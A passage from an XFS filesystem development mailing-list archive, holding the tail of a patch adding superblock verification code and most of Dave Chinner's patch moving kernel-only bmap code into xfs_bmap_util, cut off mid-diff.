case 1024: + case 2048: + break; + default: + xfs_warn(mp, "inode size of %d bytes not supported", + sbp->sb_inodesize); + return XFS_ERROR(ENOSYS); + } + + if (xfs_sb_validate_fsb_count(sbp, sbp->sb_dblocks) || + xfs_sb_validate_fsb_count(sbp, sbp->sb_rblocks)) { + xfs_warn(mp, + "file system too large to be mounted on this system."); + return XFS_ERROR(EFBIG); + } + + /* + * Version 1 directory format has never worked on Linux. + */ + if (unlikely(!xfs_sb_version_hasdirv2(sbp))) { + xfs_warn(mp, "file system using version 1 directory format"); + return XFS_ERROR(ENOSYS); + } + + return 0; +} + +void +xfs_sb_quota_from_disk( + struct xfs_sb *sbp) +{ + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) { + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; + } + if (sbp->sb_qflags & XFS_OQUOTA_CHKD) { + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; + } + sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); +} + +void +xfs_sb_from_disk( + struct xfs_sb *to, + xfs_dsb_t *from) +{ + to->sb_magicnum = be32_to_cpu(from->sb_magicnum); + to->sb_blocksize = be32_to_cpu(from->sb_blocksize); + to->sb_dblocks = be64_to_cpu(from->sb_dblocks); + to->sb_rblocks = be64_to_cpu(from->sb_rblocks); + to->sb_rextents = be64_to_cpu(from->sb_rextents); + memcpy(&to->sb_uuid, &from->sb_uuid, sizeof(to->sb_uuid)); + to->sb_logstart = be64_to_cpu(from->sb_logstart); + to->sb_rootino = be64_to_cpu(from->sb_rootino); + to->sb_rbmino = be64_to_cpu(from->sb_rbmino); + to->sb_rsumino = be64_to_cpu(from->sb_rsumino); + to->sb_rextsize = be32_to_cpu(from->sb_rextsize); + to->sb_agblocks = be32_to_cpu(from->sb_agblocks); + to->sb_agcount = be32_to_cpu(from->sb_agcount); + to->sb_rbmblocks = be32_to_cpu(from->sb_rbmblocks); + to->sb_logblocks = be32_to_cpu(from->sb_logblocks); + to->sb_versionnum = be16_to_cpu(from->sb_versionnum); + to->sb_sectsize = be16_to_cpu(from->sb_sectsize); + to->sb_inodesize = be16_to_cpu(from->sb_inodesize); + to->sb_inopblock = be16_to_cpu(from->sb_inopblock); + memcpy(&to->sb_fname, &from->sb_fname, sizeof(to->sb_fname)); + to->sb_blocklog = from->sb_blocklog; + to->sb_sectlog = from->sb_sectlog; + to->sb_inodelog = from->sb_inodelog; + to->sb_inopblog = from->sb_inopblog; + to->sb_agblklog = from->sb_agblklog; + to->sb_rextslog = from->sb_rextslog; + to->sb_inprogress = from->sb_inprogress; + to->sb_imax_pct = from->sb_imax_pct; + to->sb_icount = be64_to_cpu(from->sb_icount); + to->sb_ifree = be64_to_cpu(from->sb_ifree); + to->sb_fdblocks = be64_to_cpu(from->sb_fdblocks); + to->sb_frextents = be64_to_cpu(from->sb_frextents); + to->sb_uquotino = be64_to_cpu(from->sb_uquotino); + to->sb_gquotino = be64_to_cpu(from->sb_gquotino); + to->sb_qflags = be16_to_cpu(from->sb_qflags); + to->sb_flags = from->sb_flags; + to->sb_shared_vn = from->sb_shared_vn; + to->sb_inoalignmt = be32_to_cpu(from->sb_inoalignmt); + to->sb_unit = be32_to_cpu(from->sb_unit); + to->sb_width = be32_to_cpu(from->sb_width); + to->sb_dirblklog = from->sb_dirblklog; + to->sb_logsectlog = from->sb_logsectlog; + to->sb_logsectsize = be16_to_cpu(from->sb_logsectsize); + to->sb_logsunit = be32_to_cpu(from->sb_logsunit); + to->sb_features2 = be32_to_cpu(from->sb_features2); + to->sb_bad_features2 = be32_to_cpu(from->sb_bad_features2); + to->sb_features_compat = be32_to_cpu(from->sb_features_compat); + to->sb_features_ro_compat = be32_to_cpu(from->sb_features_ro_compat); + to->sb_features_incompat = be32_to_cpu(from->sb_features_incompat); + to->sb_features_log_incompat = + be32_to_cpu(from->sb_features_log_incompat); + to->sb_pad = 0; + to->sb_pquotino = be64_to_cpu(from->sb_pquotino); + to->sb_lsn = be64_to_cpu(from->sb_lsn); +} + +static void +xfs_sb_quota_to_disk( + xfs_dsb_t *to, + xfs_sb_t *from, + __int64_t *fields) +{ + __uint16_t qflags = from->sb_qflags; + + if (*fields & XFS_SB_QFLAGS) { + /* + * The in-core version of sb_qflags do not have + * XFS_OQUOTA_* flags, whereas the on-disk version + * does. So, convert incore XFS_{PG}QUOTA_* flags + * to on-disk XFS_OQUOTA_* flags. + */ + qflags &= ~(XFS_PQUOTA_ENFD | XFS_PQUOTA_CHKD | + XFS_GQUOTA_ENFD | XFS_GQUOTA_CHKD); + + if (from->sb_qflags & + (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD)) + qflags |= XFS_OQUOTA_ENFD; + if (from->sb_qflags & + (XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) + qflags |= XFS_OQUOTA_CHKD; + to->sb_qflags = cpu_to_be16(qflags); + *fields &= ~XFS_SB_QFLAGS; + } +} + +/* + * Copy in core superblock to ondisk one. + * + * The fields argument is mask of superblock fields to copy. + */ +void +xfs_sb_to_disk( + xfs_dsb_t *to, + xfs_sb_t *from, + __int64_t fields) +{ + xfs_caddr_t to_ptr = (xfs_caddr_t)to; + xfs_caddr_t from_ptr = (xfs_caddr_t)from; + xfs_sb_field_t f; + int first; + int size; + + ASSERT(fields); + if (!fields) + return; + + xfs_sb_quota_to_disk(to, from, &fields); + while (fields) { + f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); + first = xfs_sb_info[f].offset; + size = xfs_sb_info[f + 1].offset - first; + + ASSERT(xfs_sb_info[f].type == 0 || xfs_sb_info[f].type == 1); + + if (size == 1 || xfs_sb_info[f].type == 1) { + memcpy(to_ptr + first, from_ptr + first, size); + } else { + switch (size) { + case 2: + *(__be16 *)(to_ptr + first) = + cpu_to_be16(*(__u16 *)(from_ptr + first)); + break; + case 4: + *(__be32 *)(to_ptr + first) = + cpu_to_be32(*(__u32 *)(from_ptr + first)); + break; + case 8: + *(__be64 *)(to_ptr + first) = + cpu_to_be64(*(__u64 *)(from_ptr + first)); + break; + default: + ASSERT(0); + } + } + + fields &= ~(1LL << f); + } +} + +static int +xfs_sb_verify( + struct xfs_buf *bp, + bool check_version) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_sb sb; + + xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); + + /* + * Only check the in progress field for the primary superblock as + * mkfs.xfs doesn't clear it from secondary superblocks. + */ + return xfs_mount_validate_sb(mp, &sb, bp->b_bn == XFS_SB_DADDR, + check_version); +} + +/* + * If the superblock has the CRC feature bit set or the CRC field is non-null, + * check that the CRC is valid. We check the CRC field is non-null because a + * single bit error could clear the feature bit and unused parts of the + * superblock are supposed to be zero. Hence a non-null crc field indicates that + * we've potentially lost a feature bit and we should check it anyway. + */ +static void +xfs_sb_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); + int error; + + /* + * open code the version check to avoid needing to convert the entire + * superblock from disk order just to check the version number + */ + if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC) && + (((be16_to_cpu(dsb->sb_versionnum) & XFS_SB_VERSION_NUMBITS) == + XFS_SB_VERSION_5) || + dsb->sb_crc != 0)) { + + if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), + offsetof(struct xfs_sb, sb_crc))) { + error = EFSCORRUPTED; + goto out_error; + } + } + error = xfs_sb_verify(bp, true); + +out_error: + if (error) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, error); + } +} + +/* + * We may be probed for a filesystem match, so we may not want to emit + * messages when the superblock buffer is not actually an XFS superblock. + * If we find an XFS superblock, the run a normal, noisy mount because we are + * really going to mount it and want to know about errors. + */ +static void +xfs_sb_quiet_read_verify( + struct xfs_buf *bp) +{ + struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); + + + if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { + /* XFS filesystem, verify noisily! */ + xfs_sb_read_verify(bp); + return; + } + /* quietly fail */ + xfs_buf_ioerror(bp, EWRONGFS); +} + +static void +xfs_sb_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_buf_log_item *bip = bp->b_fspriv; + int error; + + error = xfs_sb_verify(bp, false); + if (error) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, error); + return; + } + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (bip) + XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); + + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_sb, sb_crc)); +} + +const struct xfs_buf_ops xfs_sb_buf_ops = { + .verify_read = xfs_sb_read_verify, + .verify_write = xfs_sb_write_verify, +}; + +const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { + .verify_read = xfs_sb_quiet_read_verify, + .verify_write = xfs_sb_write_verify, +}; + +/* + * xfs_mount_common + * + * Mount initialization code establishing various mount + * fields from the superblock associated with the given + * mount structure + */ +void +xfs_sb_mount_common( + struct xfs_mount *mp, + struct xfs_sb *sbp) +{ + mp->m_agfrotor = mp->m_agirotor = 0; + spin_lock_init(&mp->m_agirotor_lock); + mp->m_maxagi = mp->m_sb.sb_agcount; + mp->m_blkbit_log = sbp->sb_blocklog + XFS_NBBYLOG; + mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; + mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; + mp->m_agno_log = xfs_highbit32(sbp->sb_agcount - 1) + 1; + mp->m_agino_log = sbp->sb_inopblog + sbp->sb_agblklog; + mp->m_blockmask = sbp->sb_blocksize - 1; + mp->m_blockwsize = sbp->sb_blocksize >> XFS_WORDLOG; + mp->m_blockwmask = mp->m_blockwsize - 1; + + mp->m_alloc_mxr[0] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_alloc_mxr[1] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_alloc_mnr[0] = mp->m_alloc_mxr[0] / 2; + mp->m_alloc_mnr[1] = mp->m_alloc_mxr[1] / 2; + + mp->m_inobt_mxr[0] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_inobt_mxr[1] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_inobt_mnr[0] = mp->m_inobt_mxr[0] / 2; + mp->m_inobt_mnr[1] = mp->m_inobt_mxr[1] / 2; + + mp->m_bmap_dmxr[0] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_bmap_dmxr[1] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; + mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; + + mp->m_bsize = XFS_FSB_TO_BB(mp, 1); + mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, + sbp->sb_inopblock); + mp->m_ialloc_blks = mp->m_ialloc_inos >> sbp->sb_inopblog; +} + +/* + * xfs_initialize_perag_data + * + * Read in each per-ag structure so we can count up the number of + * allocated inodes, free inodes and used filesystem blocks as this + * information is no longer persistent in the superblock. Once we have + * this information, write it into the in-core superblock structure. + */ +int +xfs_initialize_perag_data( + struct xfs_mount *mp, + xfs_agnumber_t agcount) +{ + xfs_agnumber_t index; + xfs_perag_t *pag; + xfs_sb_t *sbp = &mp->m_sb; + uint64_t ifree = 0; + uint64_t ialloc = 0; + uint64_t bfree = 0; + uint64_t bfreelst = 0; + uint64_t btree = 0; + int error; + + for (index = 0; index < agcount; index++) { + /* + * read the agf, then the agi. This gets us + * all the information we need and populates the + * per-ag structures for us. + */ + error = xfs_alloc_pagf_init(mp, NULL, index, 0); + if (error) + return error; + + error = xfs_ialloc_pagi_init(mp, NULL, index); + if (error) + return error; + pag = xfs_perag_get(mp, index); + ifree += pag->pagi_freecount; + ialloc += pag->pagi_count; + bfree += pag->pagf_freeblks; + bfreelst += pag->pagf_flcount; + btree += pag->pagf_btreeblks; + xfs_perag_put(pag); + } + /* + * Overwrite incore superblock counters with just-read data + */ + spin_lock(&mp->m_sb_lock); + sbp->sb_ifree = ifree; + sbp->sb_icount = ialloc; + sbp->sb_fdblocks = bfree + bfreelst + btree; + spin_unlock(&mp->m_sb_lock); + + /* Fixup the per-cpu counters as well. */ + xfs_icsb_reinit_counters(mp); + + return 0; +} + +/* + * xfs_mod_sb() can be used to copy arbitrary changes to the + * in-core superblock into the superblock buffer to be logged. + * It does not provide the higher level of locking that is + * needed to protect the in-core superblock from concurrent + * access. + */ +void +xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) +{ + xfs_buf_t *bp; + int first; + int last; + xfs_mount_t *mp; + xfs_sb_field_t f; + + ASSERT(fields); + if (!fields) + return; + mp = tp->t_mountp; + bp = xfs_trans_getsb(tp, mp, 0); + first = sizeof(xfs_sb_t); + last = 0; + + /* translate/copy */ + + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); + + /* find modified range */ + f = (xfs_sb_field_t)xfs_highbit64((__uint64_t)fields); + ASSERT((1LL << f) & XFS_SB_MOD_BITS); + last = xfs_sb_info[f + 1].offset - 1; + + f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); + ASSERT((1LL << f) & XFS_SB_MOD_BITS); + first = xfs_sb_info[f].offset; + + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SB_BUF); + xfs_trans_log_buf(tp, bp, first, last); +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C35C8055 for ; Fri, 19 Jul 2013 01:45:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F3041304039 for ; Thu, 18 Jul 2013 23:45:46 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d54000b-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id HInNS8A7VdIudMPL for ; Thu, 18 Jul 2013 23:45:44 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JC-7q for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Lc-6Z for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 32/49] xfs: create xfs_bmap_util.[ch] Date: Fri, 19 Jul 2013 16:45:07 +1000 X-ASG-Orig-Subj: [PATCH 32/49] xfs: create xfs_bmap_util.[ch] Message-Id: <1374216324-8781-33-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216344 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is a bunch of code in xfs_bmap.c that is kernel specific and not shared with userspace. to minimise the difference between the kernel and userspace code, shift this unshared code to xfs_bmap_util.c, and the declarations to xfs_bmap_util.h. The biggest issue here is xfs_bmap_finish() - userspce has it's own definition of this function, and so we need to move it out of xfs_bmap.[ch]. This means several other files need to include xfs_bmap_util.c as well. It also introduces and interesting dance for the stack switching code in xfs_bmapi_allocate(). The stack switching/workqueue code is actually moved to xfs_bmap_util.c, so that userspace can simply use a #define in a header file to connect the dots without needing to know about the stack switch code at all. Signed-off-by: Dave Chinner --- include/xfs_bmap.h | 51 ------------ libxfs/xfs.h | 34 ++++++++ libxfs/xfs_bmap.c | 222 +++-------------------------------------------------- 3 files changed, 43 insertions(+), 264 deletions(-) diff --git a/include/xfs_bmap.h b/include/xfs_bmap.h index ffa67b1..8b2fe97 100644 --- a/include/xfs_bmap.h +++ b/include/xfs_bmap.h @@ -108,38 +108,6 @@ static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) } /* - * Argument structure for xfs_bmap_alloc. - */ -typedef struct xfs_bmalloca { - xfs_fsblock_t *firstblock; /* i/o first block allocated */ - struct xfs_bmap_free *flist; /* bmap freelist */ - struct xfs_trans *tp; /* transaction pointer */ - struct xfs_inode *ip; /* incore inode pointer */ - struct xfs_bmbt_irec prev; /* extent before the new one */ - struct xfs_bmbt_irec got; /* extent after, or delayed */ - - xfs_fileoff_t offset; /* offset in file filling in */ - xfs_extlen_t length; /* i/o length asked/allocated */ - xfs_fsblock_t blkno; /* starting block of new extent */ - - struct xfs_btree_cur *cur; /* btree cursor */ - xfs_extnum_t idx; /* current extent index */ - int nallocs;/* number of extents alloc'd */ - int logflags;/* flags for transaction logging */ - - xfs_extlen_t total; /* total blocks needed for xaction */ - xfs_extlen_t minlen; /* minimum allocation size (blocks) */ - xfs_extlen_t minleft; /* amount must be left after alloc */ - char eof; /* set if allocating past last extent */ - char wasdel; /* replacing a delayed allocation */ - char userdata;/* set if is user data */ - char aeof; /* allocated space at eof */ - char conv; /* overwriting unwritten extents */ - int flags; - int stack_switch; -} xfs_bmalloca_t; - -/* * Flags for xfs_bmap_add_extent*. */ #define BMAP_LEFT_CONTIG (1 << 0) @@ -202,23 +170,4 @@ int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); -#ifdef __KERNEL__ -/* bmap to userspace formatter - copy to user & advance pointer */ -typedef int (*xfs_bmap_format_t)(void **, struct getbmapx *, int *); - -int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, - int *committed); -int xfs_getbmap(struct xfs_inode *ip, struct getbmapx *bmv, - xfs_bmap_format_t formatter, void *arg); -int xfs_bmap_eof(struct xfs_inode *ip, xfs_fileoff_t endoff, - int whichfork, int *eof); -int xfs_bmap_count_blocks(struct xfs_trans *tp, struct xfs_inode *ip, - int whichfork, int *count); -int xfs_bmap_punch_delalloc_range(struct xfs_inode *ip, - xfs_fileoff_t start_fsb, xfs_fileoff_t length); - -xfs_daddr_t xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb); - -#endif /* __KERNEL__ */ - #endif /* __XFS_BMAP_H__ */ diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 0113b50..276fc25 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -51,6 +51,40 @@ typedef __uint32_t uint_t; typedef __uint32_t inst_t; /* an instruction */ +/* + * Argument structure for xfs_bmap_alloc. + */ +typedef struct xfs_bmalloca { + xfs_fsblock_t *firstblock; /* i/o first block allocated */ + struct xfs_bmap_free *flist; /* bmap freelist */ + struct xfs_trans *tp; /* transaction pointer */ + struct xfs_inode *ip; /* incore inode pointer */ + struct xfs_bmbt_irec prev; /* extent before the new one */ + struct xfs_bmbt_irec got; /* extent after, or delayed */ + + xfs_fileoff_t offset; /* offset in file filling in */ + xfs_extlen_t length; /* i/o length asked/allocated */ + xfs_fsblock_t blkno; /* starting block of new extent */ + + struct xfs_btree_cur *cur; /* btree cursor */ + xfs_extnum_t idx; /* current extent index */ + int nallocs;/* number of extents alloc'd */ + int logflags;/* flags for transaction logging */ + + xfs_extlen_t total; /* total blocks needed for xaction */ + xfs_extlen_t minlen; /* minimum allocation size (blocks) */ + xfs_extlen_t minleft; /* amount must be left after alloc */ + char eof; /* set if allocating past last extent */ + char wasdel; /* replacing a delayed allocation */ + char userdata;/* set if is user data */ + char aeof; /* allocated space at eof */ + char conv; /* overwriting unwritten extents */ + char stack_switch; + int flags; +} xfs_bmalloca_t; + +#define xfs_bmapi_allocate __xfs_bmapi_allocate + #ifndef EWRONGFS #define EWRONGFS EINVAL #endif diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index ce72b87..eeaea94 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -74,19 +74,6 @@ xfs_bmap_compute_maxlevels( mp->m_bm_maxlevels[whichfork] = level; } -/* - * Convert the given file system block to a disk block. We have to treat it - * differently based on whether the file is a real time file or not, because the - * bmap code does. - */ -xfs_daddr_t -xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) -{ - return (XFS_IS_REALTIME_INODE(ip) ? \ - (xfs_daddr_t)XFS_FSB_TO_BB((ip)->i_mount, (fsb)) : \ - XFS_FSB_TO_DADDR((ip)->i_mount, (fsb))); -} - STATIC int /* error */ xfs_bmbt_lookup_eq( struct xfs_btree_cur *cur, @@ -229,173 +216,6 @@ xfs_bmap_forkoff_reset( } /* - * Extent tree block counting routines. - */ - -/* - * Count leaf blocks given a range of extent records. - */ -STATIC void -xfs_bmap_count_leaves( - xfs_ifork_t *ifp, - xfs_extnum_t idx, - int numrecs, - int *count) -{ - int b; - - for (b = 0; b < numrecs; b++) { - xfs_bmbt_rec_host_t *frp = xfs_iext_get_ext(ifp, idx + b); - *count += xfs_bmbt_get_blockcount(frp); - } -} - -/* - * Count leaf blocks given a range of extent records originally - * in btree format. - */ -STATIC void -xfs_bmap_disk_count_leaves( - struct xfs_mount *mp, - struct xfs_btree_block *block, - int numrecs, - int *count) -{ - int b; - xfs_bmbt_rec_t *frp; - - for (b = 1; b <= numrecs; b++) { - frp = XFS_BMBT_REC_ADDR(mp, block, b); - *count += xfs_bmbt_disk_get_blockcount(frp); - } -} - -/* - * Recursively walks each level of a btree - * to count total fsblocks is use. - */ -STATIC int /* error */ -xfs_bmap_count_tree( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fsblock_t blockno, /* file system block number */ - int levelin, /* level in btree */ - int *count) /* Count of blocks */ -{ - int error; - xfs_buf_t *bp, *nbp; - int level = levelin; - __be64 *pp; - xfs_fsblock_t bno = blockno; - xfs_fsblock_t nextbno; - struct xfs_btree_block *block, *nextblock; - int numrecs; - - error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - block = XFS_BUF_TO_BLOCK(bp); - - if (--level) { - /* Not at node above leaves, count this level of nodes */ - nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); - while (nextbno != NULLFSBLOCK) { - error = xfs_btree_read_bufl(mp, tp, nextbno, 0, &nbp, - XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - nextblock = XFS_BUF_TO_BLOCK(nbp); - nextbno = be64_to_cpu(nextblock->bb_u.l.bb_rightsib); - xfs_trans_brelse(tp, nbp); - } - - /* Dive to the next level */ - pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); - bno = be64_to_cpu(*pp); - if (unlikely((error = - xfs_bmap_count_tree(mp, tp, ifp, bno, level, count)) < 0)) { - xfs_trans_brelse(tp, bp); - XFS_ERROR_REPORT("xfs_bmap_count_tree(1)", - XFS_ERRLEVEL_LOW, mp); - return XFS_ERROR(EFSCORRUPTED); - } - xfs_trans_brelse(tp, bp); - } else { - /* count all level 1 nodes and their leaves */ - for (;;) { - nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); - numrecs = be16_to_cpu(block->bb_numrecs); - xfs_bmap_disk_count_leaves(mp, block, numrecs, count); - xfs_trans_brelse(tp, bp); - if (nextbno == NULLFSBLOCK) - break; - bno = nextbno; - error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, - XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - block = XFS_BUF_TO_BLOCK(bp); - } - } - return 0; -} - -/* - * Count fsblocks of the given fork. - */ -int /* error */ -xfs_bmap_count_blocks( - xfs_trans_t *tp, /* transaction pointer */ - xfs_inode_t *ip, /* incore inode */ - int whichfork, /* data or attr fork */ - int *count) /* out: count of blocks */ -{ - struct xfs_btree_block *block; /* current btree block */ - xfs_fsblock_t bno; /* block # of "block" */ - xfs_ifork_t *ifp; /* fork structure */ - int level; /* btree level, for checking */ - xfs_mount_t *mp; /* file system mount structure */ - __be64 *pp; /* pointer to block address */ - - bno = NULLFSBLOCK; - mp = ip->i_mount; - ifp = XFS_IFORK_PTR(ip, whichfork); - if ( XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_EXTENTS ) { - xfs_bmap_count_leaves(ifp, 0, - ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t), - count); - return 0; - } - - /* - * Root level must use BMAP_BROOT_PTR_ADDR macro to get ptr out. - */ - block = ifp->if_broot; - level = be16_to_cpu(block->bb_level); - ASSERT(level > 0); - pp = XFS_BMAP_BROOT_PTR_ADDR(mp, block, 1, ifp->if_broot_bytes); - bno = be64_to_cpu(*pp); - ASSERT(bno != NULLDFSBNO); - ASSERT(XFS_FSB_TO_AGNO(mp, bno) < mp->m_sb.sb_agcount); - ASSERT(XFS_FSB_TO_AGBNO(mp, bno) < mp->m_sb.sb_agblocks); - - if (unlikely(xfs_bmap_count_tree(mp, tp, ifp, bno, level, count) < 0)) { - XFS_ERROR_REPORT("xfs_bmap_count_blocks(2)", XFS_ERRLEVEL_LOW, - mp); - return XFS_ERROR(EFSCORRUPTED); - } - - return 0; -} - -/* * Debug/sanity checking code */ @@ -803,7 +623,6 @@ xfs_bmap_del_free( kmem_zone_free(xfs_bmap_free_item_zone, free); } - /* * Free up any items left in the list. */ @@ -1028,8 +847,8 @@ xfs_bmap_extents_to_btree( * Do all this logging at the end so that * the root is at the right level. */ - xfs_btree_log_recs(cur, abp, 1, be16_to_cpu(ablock->bb_numrecs)); xfs_btree_log_block(cur, abp, XFS_BB_ALL_BITS); + xfs_btree_log_recs(cur, abp, 1, be16_to_cpu(ablock->bb_numrecs)); ASSERT(*curp == NULL); *curp = cur; *logflagsp = XFS_ILOG_CORE | xfs_ilog_fbroot(whichfork); @@ -1744,7 +1563,7 @@ xfs_bmap_last_before( return 0; } -STATIC int +int xfs_bmap_last_extent( struct xfs_trans *tp, struct xfs_inode *ip, @@ -1808,29 +1627,6 @@ xfs_bmap_isaeof( } /* - * Check if the endoff is outside the last extent. If so the caller will grow - * the allocation to a stripe unit boundary. All offsets are considered outside - * the end of file for an empty fork, so 1 is returned in *eof in that case. - */ -int -xfs_bmap_eof( - struct xfs_inode *ip, - xfs_fileoff_t endoff, - int whichfork, - int *eof) -{ - struct xfs_bmbt_irec rec; - int error; - - error = xfs_bmap_last_extent(NULL, ip, whichfork, &rec, eof); - if (error || *eof) - return error; - - *eof = endoff >= rec.br_startoff + rec.br_blockcount; - return 0; -} - -/* * Returns the file-relative block number of the first block past eof in * the file. This is not based on i_size, it is based on the extent records. * Returns 0 for local files, as they do not have extent records. @@ -3369,7 +3165,7 @@ done: /* * Adjust the size of the new extent based on di_extsize and rt extsize. */ -STATIC int +int xfs_bmap_extsize_align( xfs_mount_t *mp, xfs_bmbt_irec_t *gotp, /* next extent pointer */ @@ -3531,9 +3327,9 @@ xfs_bmap_extsize_align( #define XFS_ALLOC_GAP_UNITS 4 -STATIC void +void xfs_bmap_adjacent( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { xfs_fsblock_t adjust; /* adjustment to block numbers */ xfs_agnumber_t fb_agno; /* ag number of ap->firstblock */ @@ -3796,7 +3592,7 @@ xfs_bmap_btalloc_nullfb( STATIC int xfs_bmap_btalloc( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap 